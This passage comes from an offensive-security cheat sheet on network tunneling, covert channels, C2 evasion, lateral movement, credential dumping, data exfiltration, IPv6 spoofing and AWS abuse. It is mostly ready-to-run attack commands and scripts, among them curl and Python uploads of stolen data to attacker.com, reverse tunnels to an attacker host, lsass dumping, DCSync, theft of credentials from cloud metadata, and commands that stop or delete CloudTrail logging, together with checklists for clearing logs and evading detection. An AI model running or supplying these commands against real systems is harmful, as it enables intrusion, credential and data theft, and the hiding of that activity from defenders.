./chisel server --reverse --port 8080

# Client (compromised host):
./chisel client attacker-ip:8080 R:1080:socks

# Ligolo-ng (transparent proxy)
# Server:
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Agent (compromised host):
./ligolo-agent -connect attacker:11601 -ignore-cert
```

PART 9: NETWORK TUNNELING (ADVANCED)

9.1 SSH Tunneling Deep Dive

```
# Create SSH SOCKS proxy
ssh -D 0.0.0.0:1080 -N -f user@server

# SSH over HTTP proxy
ssh -o ProxyCommand="ncat --proxy-type http --proxy proxy:8080 %h %p" user@target

# SSH over HTTPS
ssh -o ProxyCommand="openssl s_client -connect proxy:443 -quiet" user@target

# SSH multiplexing (faster subsequent connections)
# ~/.ssh/config
# Host *
#   ControlMaster auto
#   ControlPath ~/.ssh/sockets/%r@%h-%p
#   ControlPersist 600
mkdir -p ~/.ssh/sockets
ssh -M -S ~/.ssh/sockets/sock user@server
```

9.2 DNS Tunneling Deep Dive

```
# dnscat2 - Full-featured DNS tunnel
# Server:
dnscat2 dns --dns="domain=tunnel.example.com,type=A"

# Client:
dnscat2 tunnel.example.com

# Inside dnscat2:
# session -i 1           # Interact with session
# listen 0.0.0.0 8080 80 # Listen on 8080, forward to 80

# iodine - IP over DNS
# Server:
iodined -f -P secretpassword 10.0.0.1 tunnel.example.com

# Client:
iodine -f -P secretpassword tunnel.example.com
# Then:
ssh -p 10022 user@10.0.0.1

# dnscat (simple)
dnscat --host=dns-server.com --dns domain=tunnel.com
```

9.3 ICMP Tunneling Deep Dive

```
# ptunnel (ICMP tunneling)
# Server:
ptunnel -lp 8080

# Client:
ptunnel -lp 31337 -da target-internal -dp 22
# Then: ssh -p 31337 user@localhost

# icmptx
# Server:
./icmptx -l 10.0.0.1

# Client:
./icmptx -d 10.0.0.1

# cloaked ping (custom ICMP)
# Embed data in ICMP echo
python3 icmptunnel.py --server 10.0.0.1
python3 icmptunnel.py --client attacker.com
```

9.4 HTTP/HTTPS Tunneling

```
# Chisel - HTTP tunnel
# Server (attacker):
./chisel server --reverse --port 8080 --keyfile key.pem

# Client (target network):
./chisel client attacker-ip:8080 R:socks

# Reverse shell over HTTP
# Using stunnel for HTTPS
# stunnel.conf (client)
# client = yes
# [https]
# accept = 127.0.0.1:8080
# connect = target:443
# verify = 2
# CAfile = ca.pem

# Using ngrok / localtunnel for callbacks
ngrok http 8080
lt --port 8080
```

9.5 SSL/TLS Tunneling

```
# Stunnel - Wrap any TCP in TLS
# Server config:
# [https]
# accept = 443
# connect = 80
# cert = server.pem
# key = server-key.pem

# Client config:
# [https]
# client = yes
# accept = 127.0.0.1:8080
# connect = server:443
# verify = 2

# Using socat for TLS
socat OPENSSL-LISTEN:443,reuseaddr,fork TCP:127.0.0.1:80

# Using openssl s_client for testing
openssl s_client -connect target:443 -quiet
```

9.6 Other Tunneling Tools

```
# Proxychains with multiple hops
# /etc/proxychains.conf
# strict_chain
# proxy_dns
# [ProxyList]
# socks5 127.0.0.1 9050
# socks5 10.0.0.1 1080
# socks5 10.0.0.2 1080

# Using ngrok / cloudflared for callbacks
cloudflared tunnel --url http://localhost:8080
ngrok tcp 4444

# Using rathole (Rust-based)
# Server:
rathole --config server.toml
# Client:
rathole --config client.toml
```

PART 10: TRAFFIC OBFUSCATION & COVERT CHANNELS

10.1 Packet Timing Covert Channel

```
# Encode data in timing between packets
# Short delay = 0, Long delay = 1
# Python example
from scapy.all import *
import time

def send_bit(bit, dst):
    pkt = IP(dst=dst)/ICMP()
    send(pkt)
    if bit == 1:
        time.sleep(1)  # Long delay = 1
    else:
        time.sleep(0.1)  # Short delay = 0

# Send message bits
message = "HELLO"
for char in message:
    for bit in bin(ord(char))[2:].zfill(8):
        send_bit(int(bit), "target")
```

10.2 Packet Size Covert Channel

```
# Encode data in packet sizes
# Small packet = 0, Large packet = 1
from scapy.all import *

def send_size_bit(bit, dst):
    if bit == 0:
        pkt = IP(dst=dst)/ICMP()/Raw(load="A"*10)
    else:
        pkt = IP(dst=dst)/ICMP()/Raw(load="A"*100)
    send(pkt)

# Or use IP ID field
def send_id_bit(bit, dst):
    pkt = IP(dst=dst, id=bit)/ICMP()
    send(pkt)
```

10.3 TTL-Based Covert Channel

```
# Encode in TTL field
from scapy.all import *

def send_ttl_bit(bit, dst):
    if bit == 0:
        pkt = IP(dst=dst, ttl=64)/ICMP()
    else:
        pkt = IP(dst=dst, ttl=65)/ICMP()
    send(pkt)
```

10.4 ICMP Echo Payload Covert Channel

```
# Hide data in ICMP payload
from scapy.all import *

def icmp_covert_send(data, dst):
    for byte in data:
        pkt = IP(dst=dst)/ICMP()/Raw(load=bytes([byte]))
        send(pkt)

# Receive:
def icmp_covert_receive():
    sniff(filter="icmp", prn=lambda x: x[Raw].load if Raw in x else None)
```

10.5 DNS Covert Channel

```
# Encode data in DNS subdomain queries
# Data becomes: encoded-data.tunnel.example.com
import base64

def dns_covert_send(data, dns_server="8.8.8.8", domain="tunnel.example.com"):
    encoded = base64.b32encode(data.encode()).decode().lower()
    query = f"{encoded}.{domain}"
    # Send DNS query
    os.system(f"dig @{dns_server} {query}")

# Or using dnscat2 / iodine (already covered)
```

10.6 HTTP Covert Channel

```
# Hide data in HTTP headers
# Cookie header
curl -H "Cookie: data=VU5PTiBTRUxFQ1Q=" https://target.com/

# User-Agent
curl -A "Mozilla/5.0 (data=hidden)" https://target.com/

# Custom header
curl -H "X-Data: hidden-in-header" https://target.com/

# In URL path
curl "https://target.com/hidden/path/data"
```

10.7 Social Media / Cloud Covert Channels

```
# Use legitimate services as C2
# Twitter, Discord webhooks, Pastebin, GitHub Gists
# Traffic appears as normal web browsing

# Example: DNS over HTTPS to cloud provider
# Looks like normal HTTPS traffic
```

10.8 Encrypted Covert Channels

```
# Encrypt data before embedding in any protocol
# AES encryption
echo -n "secret data" | openssl enc -aes-256-cbc -a -salt -pass pass:password

# XOR with key
python3 -c "
data = b'secret'
key = b'password'
encrypted = bytes(a^b for a,b in zip(data, key*100))
print(encrypted.hex())
"

# Or use custom encryption with scapy
```

10.9 Using Legitimate Protocols for Covert Channels

```
# SMTP tunneling
# HTTP CONNECT method
curl -X CONNECT -H "Host: target.com" https://proxy:443

# WebSocket tunneling
wscat -c ws://target.com/socket

# QUIC protocol (UDP 443)
# Harder to inspect than TCP
```

PART 11: APPLICATION-LAYER EVASION

11.1 HTTP/2 and HTTP/3 Evasion

```
# HTTP/2 has different framing; many firewalls don't inspect it
curl --http2 https://target.com/

# HTTP/3 (QUIC over UDP)
curl --http3 https://target.com/

# Using nghttp2
nghttp -nv https://target.com/
```

11.2 Domain Fronting

```
# Route traffic through CDN to hide true destination
# Outer TLS: cdn.example.com (allowed)
# Inner Host header: blocked-site.com (hidden)

# Using curl
curl -H "Host: blocked-site.com" \
     --resolve "cdn.example.com:443:cdn-ip" \
     https://cdn.example.com/

# Using proxychains + custom Host header
# Or use tools like Snowshoe, DomainFront
```

11.3 Encrypted Client Hello (ECH)

```
# ECH encrypts SNI, hiding destination domain
# Requires DoH + ECH support
# Firefox: network.dns.echconfig.enabled = true
# Firefox: network.dns.echhttp.enabled = true
```

11.4 TLS Fingerprint Evasion

```
# Make your TLS fingerprint look like a browser
# Using curl-impersonate
curl-impersonate https://target.com/

# Using tls-client
# Or custom JA3 fingerprint
# JA3 is hash of TLS Client Hello parameters
# Match browser JA3 to evade TLS fingerprinting
```

11.5 HTTP Header Order Manipulation

```
# IDS/IPS may check header order
# Match browser header order exactly
curl -H "Host: target.com" \
     -H "User-Agent: Mozilla/5.0..." \
     -H "Accept: text/html..." \
     -H "Accept-Language: en-US..." \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Connection: keep-alive" \
     https://target.com/

# Using httpie for precise control
http --header="Order: exact" https://target.com/
```

PART 12: C2 (COMMAND & CONTROL) EVASION

12.1 Domain Generation Algorithms (DGA)

```
# Generate random-looking domains daily
# Malware uses same algorithm to know where to connect
import hashlib

def generate_dga(seed, day):
    domain_hash = hashlib.md5(f"{seed}{day}".encode()).hexdigest()
    return f"{domain_hash[:16]}.com"

# Or use DGABench for testing
```

12.2 Fast Flux

```
# DNS records rapidly rotate IPs
# Each query returns different IP
# Hard to block single IP

# Setup with dnsmasq
# dnsmasq.conf
# address=/fast-flux.example.com/1.2.3.4
# address=/fast-flux.example.com/5.6.7.8
# address=/fast-flux.example.com/9.10.11.12
```

12.3 Encrypted C2 Channels

```
# Cobalt Strike malleable C2 profiles
# Define how C2 traffic looks (HTTP headers, URI patterns)

# Mythic C2
# Custom profile with C2Kit

# Sliver C2
./sliver-server generate --mtls=c2.example.com:443 --save shell.exe

# Using HTTPS only
# TLS 1.3 with valid certificates
```

12.4 Domain Fronting for C2

```
# C2 traffic through allowed CDN
# Outer: cdn.cloudflare.com (allowed)
# Inner Host: c2.attacker.com (hidden)

# Cobalt Strike malleable profile
# http-config {
#   set trust_x_forwarded_for "true";
#   header "Host" "cdn.example.com";
# }
# set uri "/assets/";
```

12.5 C2 over DNS (DoH)

```
# Hide C2 in DNS over HTTPS queries
# Looks like normal HTTPS traffic
# Tools: DoH-C2, DNSOverHTTPS
```

12.6 C2 Malleable Profiles

```
# Cobalt Strike Malleable C2
# Make C2 traffic look like legitimate apps
# Example: GitHub, Twitter, Slack traffic

# Profile examples:
# - GitHub.profile
# - Slack.profile
# - Amazon.profile
# - MicrosoftUpdate.profile

# Apply profile
./cobaltstrike --profile GitHub.profile
```

12.7 Sleep Masking (Cobalt Strike)

```
# Encrypt implant in memory during sleep
# Avoids memory scanning by EDR
# Cobalt Strike sleep_mask option
# Or use external sleep mask
```

12.8 Beacon Config Evasion

```
# Cobalt Strike beacons
# - Use random User-Agents
# - Vary callback intervals (jitter)
# - Use legitimate-looking URIs
# - Encrypt payload with custom key

# Example malleable profile snippet
# set uri "/jquery-/jquery-3.3.1.min.js";
# set useragent "Mozilla/5.0 ...";
# http-get {
#   client { header "Accept" "text/html"; }
#   server { output { print; } }
# }
```

PART 13: LATERAL MOVEMENT EVASION

Moving through the network after initial access without triggering alerts.

13.1 SMB / NetBIOS Lateral Movement

```
# PsExec via SMB
psexec.py administrator@target.com
psexec.py -hashes :<ntlm_hash> administrator@target.com

# smbexec
smbexec.py administrator@target.com

# CrackMapExec / NetExec
crackmapexec smb target.com -u user -p password
crackmapexec smb target.com -u user -H <hash> --exec-method wmiexec
crackmapexec smb 10.0.0.0/24 -u user -p password --shares

# Impacket psexec
impacket-psexec target.com/user:password@target.com

# SMB null session
smbclient -L //target.com/ -U "" -N

# SMB admin share
net use \\\\target.com\\C$ /user:Administrator password
```

SMB Evasion

```
# 1. Use named pipes that look legitimate
# 2. Avoid default admin shares (C$, ADMIN$)
# 3. Use custom named pipes
# 4. Encrypt SMB traffic (SMB3)
# 5. Use legitimate SMB ports (445)
# 6. Avoid mass scanning (no /24 sweeps)
# 7. Use NTLM relay instead of Pass-the-Hash where possible
```

13.2 WMI Lateral Movement

```
# Impacket wmiexec
wmiexec.py administrator@target.com

# CrackMapExec with WMI
crackmapexec smb target.com -u user -p password --exec-method wmiexec

# PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create \
  -ArgumentList "cmd.exe /c payload.exe" -ComputerName target.com

# WMIC
wmic /node:target.com process call create "cmd.exe /c whoami > C:\\output.txt"

# PowerShell remoting with WMI
$cred = Get-Credential
Invoke-WmiMethod -ComputerName target.com -Class Win32_Process \
  -Name Create -ArgumentList "payload.exe" -Credential $cred
```

WMI Evasion

```
# 1. WMI runs as SYSTEM but is heavily logged
# 2. Use WMI event subscriptions for persistence
# 3. Avoid creating suspicious process names
# 4. Use legitimate binary paths
# 5. Clear WMI activity logs after use
# 6. Use WinRM instead of WMI when possible
```

13.3 WinRM Lateral Movement

```
# Impacket winrmexec
winrmexec.py administrator@target.com

# CrackMapExec with WinRM
crackmapexec winrm target.com -u user -p password

# PowerShell Remoting
Enter-PSSession -ComputerName target.com -Credential (Get-Credential)
Invoke-Command -ComputerName target.com -ScriptBlock { whoami }

# Evil-WinRM
evil-winrm -i target.com -u administrator -p password

# Over HTTPS (port 5986)
Enter-PSSession -ComputerName target.com -UseSSL -Credential (Get-Credential)
```

WinRM Evasion

```
# 1. WinRM uses HTTP (5985) or HTTPS (5986)
# 2. Traffic is XML-based (encrypt with HTTPS)
# 3. Use HTTPS WinRM for encrypted traffic
# 4. Avoid running suspicious commands in WinRM
# 5. Use CredSSP or Kerberos auth (avoid NTLM)
# 6. Clear WinRM logs after use
```

13.4 PsExec / SCM Lateral Movement

```
# Impacket psexec
psexec.py administrator@target.com

# PsExec (Sysinternals)
psexec.exe \\\\target.com -u Administrator -p password cmd.exe

# CrackMapExec
crackmapexec smb target.com -u user -p password --exec-method smbexec

# Service creation
sc \\\\target.com create payload binPath= "C:\\payload.exe" start= auto
sc \\\\target.com start payload
```

PsExec Evasion

```
# 1. PsExec creates services (heavily monitored)
# 2. Use custom service names (not PSEXESVC)
# 3. Delete service after use
sc \\\\target.com delete payload
# 4. Use WMI or WinRM instead (less monitored)
```

13.5 DCOM Lateral Movement

```
# Impacket dcomexec
dcomexec.py administrator@target.com

# PowerShell DCOM (MMC20.Application)
$dcom = [Activator]::CreateInstance(
  [Type]::GetTypeFromProgID("MMC20.Application.1","target.com"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c payload.exe","7")

# ShellWindows DCOM
$com = [Type]::GetTypeFromCLSID(
  "9BA05972-F6A8-11CF-A442-00A0C90A8F39","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Item().Document.Application.ShellExecute("cmd.exe", "/c payload.exe", "C:\\", $null, 0)

# ShellBrowserWindow DCOM
$com = [Type]::GetTypeFromCLSID(
  "C08AFD90-F2A1-11D1-8455-00A0C91F3880","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c payload.exe", "C:\\", $null, 0)
```

DCOM Evasion

```
# 1. DCOM uses RPC (port 135) + dynamic ports
# 2. Traffic is binary RPC (harder to inspect)
# 3. Use legitimate DCOM objects (MMC20, ShellWindows)
# 4. Avoid running obvious payloads
# 5. Use DLL-based payloads (less suspicious)
```

13.6 RDP Lateral Movement

```
# xfreerdp
xfreerdp /v:target.com /u:administrator /p:password /dynamic-resolution

# RDP with pass-the-hash
xfreerdp /v:target.com /u:administrator /pth:<hash>

# RDP tunneling through SSH
ssh -L 3389:target.com:3389 user@jumpbox
xfreerdp /v:127.0.0.1 /u:administrator /p:password
```

RDP Evasion

```
# 1. RDP traffic is encrypted (hard to inspect)
# 2. Use RDP over HTTPS (443) via RD Gateway
# 3. Use SSH tunneling for RDP
# 4. Avoid RDP from unusual source IPs
# 5. Use legitimate RDP clients (mstsc, not custom tools)
```

13.7 Pass-the-Hash / Pass-the-Ticket Evasion

```
# Pass-the-Hash (PtH)
crackmapexec smb target.com -u administrator -H <ntlm_hash>
impacket-psexec -hashes :<ntlm_hash> administrator@target.com

# Pass-the-Ticket (PtT)
export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass target.com/administrator@target.com

# Overpass-the-Hash (NTLM to Kerberos)
impacket-getTGT target.com/user:password
export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass target.com/administrator@target.com

# Rubeus (Kerberos abuse)
Rubeus.exe asktgt /user:administrator /rc4:<hash> /outfile:ticket.kirbi
Rubeus.exe ptt /ticket:ticket.kirbi
```

PtH/PtT Evasion

```
# 1. Use Kerberos instead of NTLM (avoids NTLM relay detection)
# 2. Use overpass-the-hash (NTLM to Kerberos ticket)
# 3. Avoid reusing hashes across many hosts
# 4. Use AES keys instead of RC4 when possible
# 5. Clear ticket cache after use: klist purge
```

13.8 Kerberos Attacks & Evasion

```
# Kerberoasting (request TGS, crack offline)
impacket-GetUserSPNs target.com/user:password -request
Rubeus.exe kerberoast /outfile:hashes.txt

# AS-REP Roasting (no pre-auth required)
impacket-GetNPUsers target.com/ -usersfile users.txt -no-pass -format hashcat
Rubeus.exe asreproast /outfile:hashes.txt

# Golden Ticket (forged TGT)
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <domain_sid> \
  -domain target.com administrator

# Silver Ticket (forged TGS)
impacket-ticketer -nthash <service_hash> -domain-sid <domain_sid> \
  -domain target.com -spn cifs/target.com administrator

# DCSync (dump all hashes)
impacket-secretsdump target.com/administrator@dc.target.com

# Constrained delegation abuse
impacket-getST -spn cifs/target.com -impersonate administrator \
  target.com/user:password
```

Kerberos Evasion

```
# 1. Request tickets at normal business rates (avoid burst)
# 2. Use legitimate SPN names
# 3. Avoid cracking tickets on the network (offline only)
# 4. Use AES-256 tickets instead of RC4
# 5. Clear ticket cache: klist purge
# 6. Use Rubeus with /nowrap to avoid file artifacts
# 7. Avoid DCSync from non-DC machines
```

13.9 Token Manipulation & Hijacking

```
# Meterpreter token impersonation
load incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"

# Rubeus token theft
Rubeus.exe dump /service:krbtgt /luid:0x12345
Rubeus.exe ptt /ticket:ticket.kirbi
```

Token Evasion

```
# 1. Use tokens from high-value processes (lsass, services)
# 2. Avoid creating new tokens (use existing)
# 3. Clear token cache after use
# 4. Use impersonation instead of explicit credentials
```

13.10 Credential Dumping Evasion

```
# Mimikatz (heavily signatured — use alternatives)
sekurlsa::logonpasswords
lsadump::sam

# Alternative: comsvcs.dll MiniDump
rundll32.exe comsvcs.dll, MiniDump <lsass_pid> C:\\dump.bin full

# Alternative: procdump
procdump.exe -ma lsass.exe C:\\dump.bin

# NTDS.dit extraction
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Registry hives
reg save HKLM\\SAM sam.save
reg save HKLM\\SYSTEM system.save
reg save HKLM\\SECURITY security.save
secretsdump.py -sam sam.save -system system.save LOCAL
```

Credential Dumping Evasion

```
# 1. Use alternatives to Mimikatz (less signatured)
# 2. Dump from memory, not disk
# 3. Clear dump files after use
# 4. Use direct syscalls (avoid API hooks)
# 5. Unhook ntdll.dll before dumping
# 6. Sleep before/after dumping
# 7. Use process hollowing into legitimate process
```

13.11 Lateral Movement Tools Comparison

Tool	Protocol	Stealth	Speed	Notes
PsExec	SMB (445)	Low	High	Creates services, heavily monitored
WMI	RPC (135)	Medium	High	Runs as SYSTEM, logged
WinRM	HTTP (5985/5986)	Medium	Medium	XML-based, encryptable
DCOM	RPC (135)	High	Medium	Binary RPC, hard to inspect
SMBExec	SMB (445)	Low	High	File-less, but creates logs
AtExec	SMB (445)	Medium	Medium	Uses Task Scheduler
SSH	SSH (22)	High	Medium	Encrypted, hard to inspect

13.12 Lateral Movement OPSEC Checklist

```
[ ] Identify target hosts before moving (no blind scanning)
[ ] Use Kerberos instead of NTLM when possible
[ ] Avoid mass credential spraying
[ ] Use legitimate process names for execution
[ ] Clear logs after lateral movement
[ ] Use encrypted channels (WinRM over HTTPS, SSH)
[ ] Limit movement to necessary hosts only
[ ] Time movements during business hours
[ ] Use tokens instead of explicit credentials
[ ] Clean up any files/services created
```

PART 14: EXFILTRATION TECHNIQUES & EVASION

Getting data out of the network without detection.

14.1 DNS Exfiltration

```
# Encode data in DNS queries
import base64, os

def dns_exfil(data, dns_server="attacker.com"):
    encoded = base64.b32encode(data.encode()).decode()
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
    for i, chunk in enumerate(chunks):
        query = f"{chunk}.{i}.exfil.{dns_server}"
        os.system(f"dig {query}")

# Using dnscat2
dnscat2 dns --dns="domain=exfil.attacker.com,type=A"

# Using iodine
iodined -f -P secret 10.0.0.1 exfil.attacker.com
```

DNS Exfil Evasion

```
# 1. Use subdomain encoding (looks like normal DNS)
# 2. Mix with legitimate DNS queries
# 3. Use TXT records for larger data
# 4. Throttle query rate (avoid burst detection)
# 5. Use DoH to encrypt DNS traffic
# 6. Use legitimate DNS providers (Cloudflare, Google)
```

14.2 HTTP/HTTPS Exfiltration

```
# Upload via HTTP POST
curl -X POST -d @exfil_data.txt https://attacker.com/upload

# Chunked encoding for large data
curl -X POST -H "Transfer-Encoding: chunked" \
     --data-binary @large_file.bin \
     https://attacker.com/upload

# Base64 in HTTP headers
curl -H "X-Data: $(base64 exfil_data.txt)" https://attacker.com/

# AWS S3
aws s3 cp exfil_data.txt s3://attacker-bucket/

# Azure Blob
az storage blob upload --container-name exfil \
  --name data.txt --file exfil_data.txt

# Google Drive (rclone)
rclone copy exfil_data.txt gdrive:exfil/
```

HTTP Exfil Evasion

```
# 1. Use HTTPS (encrypted)
# 2. Use legitimate-looking headers
# 3. Chunk large files (avoid large transfers)
# 4. Use legitimate cloud services (S3, Azure Blob)
# 5. Throttle upload speed (low-and-slow)
# 6. Use HTTP/2 or HTTP/3 (harder to inspect)
# 7. Use domain fronting for cloud uploads
# 8. Compress before upload
gzip -c exfil_data.txt > exfil_data.gz
curl -X POST --data-binary @exfil_data.gz https://attacker.com/upload
```

14.3 ICMP Exfiltration

```
from scapy.all import *

def icmp_exfil(data, target):
    for i in range(0, len(data), 64):
        chunk = data[i:i+64]
        pkt = IP(dst=target)/ICMP()/Raw(load=chunk)
        send(pkt)

# Using ptunnel
ptunnel -lp 8080  # Server
ptunnel -lp 31337 -da target -dp 80  # Client
```

14.4 Email Exfiltration

```
# mail command
echo "exfil data" | mail -s "Report" attacker@company.com

# Python smtplib
python3 -c "
import smtplib
from email.mime.text import MIMEText
msg = MIMEText('exfil data here')
msg['Subject'] = 'Report'
msg['From'] = 'user@target.com'
msg['To'] = 'attacker@company.com'
s = smtplib.SMTP('mail.target.com')
s.send_message(msg)
"

# Attach file
mutt -s "Report" -a exfil_data.txt -- attacker@company.com < /dev/null
```

Email Exfil Evasion

```
# 1. Use legitimate email accounts
# 2. Compress attachments
# 3. Split large files across multiple emails
# 4. Use innocent-looking subjects
# 5. Use BCC for bulk exfil
```

14.5 Cloud Storage Exfiltration

```
# AWS S3
aws s3 cp exfil_data.txt s3://attacker-bucket/
aws s3 sync ./exfil_dir s3://attacker-bucket/

# Azure Blob
az storage blob upload --container-name exfil \
  --name data.txt --file exfil_data.txt

# Google Cloud Storage
gsutil cp exfil_data.txt gs://attacker-bucket/

# Google Drive
rclone copy exfil_data.txt gdrive:exfil/

# Pastebin (small data)
curl -X POST -d "api_dev_key=KEY" \
  -d "api_paste_code=$(cat exfil_data.txt)" \
  -d "api_option=paste" \
  https://pastebin.com/api/api_post.php

# GitHub Gist
curl -X POST -H "Authorization: token TOKEN" \
  -d '{"files":{"data.txt":{"content":"'"$(base64 exfil_data.txt)"'"}}}' \
  https://api.github.com/gists
```

14.6 Steganography Exfiltration

```
# Hide data in images
steghide embed -cf image.jpg -ef exfil_data.txt -p password
steghide extract -sf image.jpg -p password

# outguess
outguess -k "password" -d exif.txt exfil_data.txt image.jpg out_image.jpg

# OpenStego
openstego embed -mf exfil_data.txt -sf image.png \
  -xf stego_image.png -p password

# Analyze with zsteg
zsteg -a image.png
```

Steganography Evasion

```
# 1. Use innocuous-looking images (normal photos)
# 2. Use password-protected steganography
# 3. Mix stego images with normal files
# 4. Use audio steganography (less monitored)
# 5. Use video steganography
```

14.7 Low-and-Slow Exfiltration

```
# Exfiltrate very slowly to avoid detection
python3 -c "
import requests, time, base64
with open('exfil_data.txt', 'r') as f:
    data = f.read()
chunks = [data[i:i+1024] for i in range(0, len(data), 1024)]
for chunk in chunks:
    encoded = base64.b64encode(chunk.encode()).decode()
    requests.post('https://attacker.com/upload', data={'data': encoded})
    time.sleep(60)  # 1 minute between chunks
"
```

14.8 Covert Channel Exfiltration

```
# Use techniques from Part 10 (Traffic Obfuscation)
# Packet timing, size, TTL covert channels
# DNS covert channel
# HTTP covert channel

# Combine multiple techniques
# 1. Encode data in DNS queries
# 2. Throttle query rate
# 3. Mix with legitimate DNS traffic
# 4. Use DoH for encryption
```

14.9 Physical Exfiltration

```
# USB exfiltration (if physical access)
# 1. Copy data to USB
# 2. Use innocuous file names
# 3. Compress before copying

# QR code exfiltration
# 1. Encode data in QR codes
# 2. Capture with phone camera
```

14.10 Exfiltration Evasion Checklist

```
[ ] Use encrypted channels (HTTPS, DNS over HTTPS)
[ ] Compress data before exfiltration
[ ] Chunk large files (avoid large transfers)
[ ] Throttle bandwidth (low-and-slow)
[ ] Use legitimate cloud services
[ ] Mix with normal traffic patterns
[ ] Use domain fronting for cloud uploads
[ ] Clear traces after exfiltration
[ ] Use steganography for sensitive data
[ ] Avoid business-hours-only exfiltration patterns
[ ] Use multiple exfiltration channels (redundancy)
[ ] Encrypt exfiltrated data (AES-256)
```

PART 15: IPv6 ATTACK SURFACE & EVASION

IPv6 is often less monitored than IPv4, making it an excellent evasion vector.

15.1 IPv6 Fundamentals for Evasion

```
IPv4 vs IPv6:
- IPv6: 128-bit addresses (vs 32-bit)
- No NAT (end-to-end connectivity)
- SLAAC (Stateless Address Autoconfiguration)
- NDP (Neighbor Discovery Protocol) replaces ARP
- DHCPv6 (optional, for DNS and other options)
- Multicast replaces broadcast
```

15.2 Router Advertisement (RA) Spoofing

```
# mitm6 — the primary tool
sudo mitm6 -d target.com
# Advertise rogue RA, become DNS server

# RA spoofing with scapy
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_RA, ICMPv6NDOptPrefixInfo, ICMPv6NDOptDNSServer

pkt = Ether(dst="33:33:00:00:00:01")/ \
      IPv6(src="fe80::1", dst="ff02::1")/ \
      ICMPv6ND_RA()/ \
      ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, L=1, A=1)/ \
      ICMPv6NDOptDNSServer(dns="fe80::attacker")
sendp(pkt, iface="eth0")

# Bettercap
> ipv6.ra.spoof on
```

15.3 DHCPv6 Spoofing

```
# mitm6 handles DHCPv6
sudo mitm6 -d target.com --ignore-nonce

# DHCPv6 spoofing with scapy
from scapy.all import *
from scapy.layers.inet6 import DHCP6_Advertise

pkt = IPv6(src="fe80::attacker")/ \
      UDP(sport=547, dport=546)/ \
      DHCP6_Advertise()
send(pkt)
```

15.4 SLAAC Attack

```
# Send RA with attacker-controlled prefix
# Victims auto-configure IPv6 address
# All traffic routes through attacker

# mitm6
sudo mitm6 -d target.com

# Combine with ntlmrelayx
sudo ntlmrelayx -t ldap://dc.target.com -ipv6 --remove-basic-auth
```

15.5 IPv6 DNS Poisoning

```
# mitm6 poisons DNS
# Victims get attacker-controlled DNS server
# Can redirect any domain

# With ntlmrelayx — relay NTLM auth to LDAP/HTTP
sudo ntlmrelayx -t ldap://dc.target.com -ipv6
```

15.6 IPv6 Tunneling

```
# 6in4 tunnel
sudo ip tunnel add sit1 mode sit remote 1.2.3.4 local 5.6.7.8
sudo ip link set sit1 up
sudo ip addr add fd00::1/64 dev sit1

# 6to4 tunnel
sudo ip tunnel add tun6to4 mode sit remote any local any
sudo ip link set tun6to4 up

# Teredo tunnel — built into Windows, hard to detect

# ISATAP tunnel — intra-site IPv6 within IPv4
```

15.7 IPv6 Neighbor Discovery Attacks

```
# NDP spoofing (equivalent of ARP spoofing in IPv6)
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ \
      IPv6(src="fe80::attacker", dst="fe80::target")/ \
      ICMPv6ND_NA(tgt="fe80::target", R=1)/ \
      ICMPv6NDOptDstLLAddr(lladdr="AA:BB:CC:DD:EE:FF")
sendp(pkt, iface="eth0")
```

15.8 IPv6 Evasion Techniques

```
# 1. Use IPv6 for lateral movement (less monitored)
# 2. Use IPv6 for C2 (harder to block)
# 3. Use IPv6 tunneling to bypass IPv4 firewalls
# 4. Use SLAAC for automatic addressing
# 5. Use multicast for broadcasting (less logged)

# IPv6 scanning (stealthier than IPv4)
nmap -6 -sS --top-ports 100 target.com
nmap -6 -sn ff02::1%eth0  # Multicast ping

# IPv6 C2 — hard to block
# Use IPv6 addresses for C2 callbacks
```

15.9 IPv6 Defense Evasion

```
# 1. Disable IPv6 if not needed (rarely done)
# 2. Monitor NDP traffic for anomalies
# 3. Implement RA Guard on switches
# 4. Use DHCPv6 snooping
# 5. Monitor for rogue RA advertisements
# 6. Implement IPv6 firewall rules
```

PART 16: CLOUD ENVIRONMENT EVASION

16.1 AWS Evasion

16.1.1 Metadata Service Abuse

```
# AWS IMDSv1 (no token required)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# AWS IMDSv2 (token required)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

# Using stolen credentials
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
```

16.1.2 AWS Evasion Techniques

```
# 1. Use legitimate AWS services for C2
# Lambda, S3, SQS, SNS — traffic looks like normal AWS API calls

# 2. Use AWS Secrets Manager
aws secretsmanager get-secret-value --secret-id my-secret

# 3. Use S3 for exfiltration
aws s3 cp exfil_data.txt s3://attacker-bucket/

# 4. Lambda for persistence
aws lambda create-function --function-name backdoor \
  --runtime python3.8 --handler lambda_function.lambda_handler \
  --role arn:aws:iam::123456789:role/lambda-role \
  --zip-file fileb://function.zip

# 5. IAM role assumption
aws sts assume-role \
  --role-arn arn:aws:iam::123456789:role/admin \
  --role-session-name session
```

16.1.3 AWS CloudTrail Evasion

```
# Stop CloudTrail logging
aws cloudtrail stop-logging --name my-trail

# Delete CloudTrail trail
aws cloudtrail delete-trail --name my-trail

# Modify CloudTrail configuration
aws cloudtrail update-trail --name my-trail --is-multi-region-trail false

# Clear CloudWatch logs (where CloudTrail delivers)
aws logs delete-log-group --log-group-name /aws/cloudtrail/my-trail
```

